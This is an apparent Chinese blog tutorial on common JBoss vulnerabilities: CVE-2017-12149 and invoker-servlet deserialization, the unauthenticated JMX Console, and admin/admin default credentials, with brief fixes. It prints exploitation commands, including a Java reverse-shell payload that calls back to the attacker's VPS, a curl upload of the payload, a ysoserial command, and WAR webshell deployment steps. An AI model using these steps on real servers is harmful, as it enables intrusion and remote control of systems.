深入浅出带你学习JBoss中间件常见漏洞

前言

本文给大家带来的是JBOSS中间件漏洞的总结,详细讲解一下JBOSS中间件的常见漏洞以及利用方法,本文就着JBOSS中间件的特性来分析该中间件的常见漏洞利用方式,下面我们展开文章来讲。

什么是JBOSS?

简单来说可以介绍为一个开源的符合J2EE规范的应用服务器,作为J2EE规范的补充,Jboss中引入了AOP框架,为普通Java类提供了J2EE服务,而无需遵循EJB规范。

该中间件的特点如下:

它将具有革命性的JMX微内核服务作为其总线结构;

它本身就是面向服务的架构(Service-Oriented Architecture,SOA);

它还具有统一的类装载器,从而能够实现应用的热部署和热卸载能力。

了解完JBOSS中间件的介绍,下面我们来讲关于该中间件的漏洞。

JBoss 5.x/6.x 反序列化漏洞

漏洞编号为CVE-2017-12149,这个漏洞利用了 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,如果包含恶意数据则会导致该漏洞。

下面用实例来给大家展示一下,首先访问我们部署的站点:

访问URL:

http://*****/invoker/readonly 

出现下面界面说明可能存在该漏洞:

这里下载漏洞利用链接:

scan.javasec.cn/java/JavaDe…

使用命令执行脚本:

java -cp .:commons-collections-3.2.1.jarReverseShellCommonsCollectionsHashMap ip:port//ip为VPS的IP 

之后使用CURL命令来对靶机进行攻击:

curl 靶机ip/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser 

监听一下我们反弹SHELL的接口:

当然该漏洞也有图形化利用工具,有兴趣的小伙伴可以自己去找一找。修复方法可以通过删除http-invoker.sar 组件来进行漏洞的防御。

JMXInvokerServlet 反序列化漏洞

漏洞原因是在路径/invoker/JMXInvokerServlet中请求接受了我们传入的对象,同时利用一系列恶意代码来进行命令执行。影响版本如下:

判断该漏洞的方法也十分简单,在invoker/JMXInvokerServlet只要有文件下载,就可以判断存在该漏洞,因为在访问时请求了对象于是我们可以使用JAVA反序列化工具ysoserial生成payload放入BODY体中发送。利用语句如下:

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > poc.ser 

可以考虑的修复方法为禁用JBoss的JMXInvokerServlet接口(默认8080)。

EJBInvokerServlet 反序列化漏洞

该漏洞与上面讲的漏洞原理相似,而且利用PAYLOAD也可以一致,唯一的区别就是该漏洞利用的是org.jboss.invocation.MarshalledValue,判断条件也差不多,访问:

invoker/EJBInvokerServlet 

返回文件则可以判断漏洞存在,于是我们可以尝试攻击。

JMX Console未授权访问

JBOSS有个webUI界面,访问路径jmx-console,默认密码弱口令,于是攻击者可以利用该漏洞查询数据信息甚至上传木马,进入页面如下:

我们可以在jboss.deployment里面的void addURL()里部署WAR包进行GETSHELL攻击,需要注意的是需要点击invoke进行WAR包的部署,部署成功后访问木马即可。

Administration Console 弱口令

Administration Console登陆界面如果密码没有修改的话默认为:

admin/admin 

于是攻击者可以通过弱口令爆破进行攻击,然后在后台部署WAR包进行GETSHELL:

成功部署的提示为

Resource xino.war created successfully! 

之后通过WEBSHELL连接工具进行连接。

结语

本文简单总结了一下JBOSS中间件常见的漏洞,可以看到JBOSS中间件漏洞利用方式还是听多样的,很多涉及了后台WAR包的部署来进行GETSHELL,同时也存在弱口令等常见漏洞,当然也简单介绍了一下漏洞的修复方法,对该中间件漏洞感兴趣的小伙伴可以自己去进行环境的搭建来进行渗透测试,一定会有所收获。

最后

最近找到一个VUE的文档,它将VUE的各个知识点进行了总结,整理成了《Vue 开发必须知道的36个技巧》。内容比较详实,对各个知识点的讲解也十分到位。



有需要的小伙伴,可以点击下方卡片领取,无偿分享

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值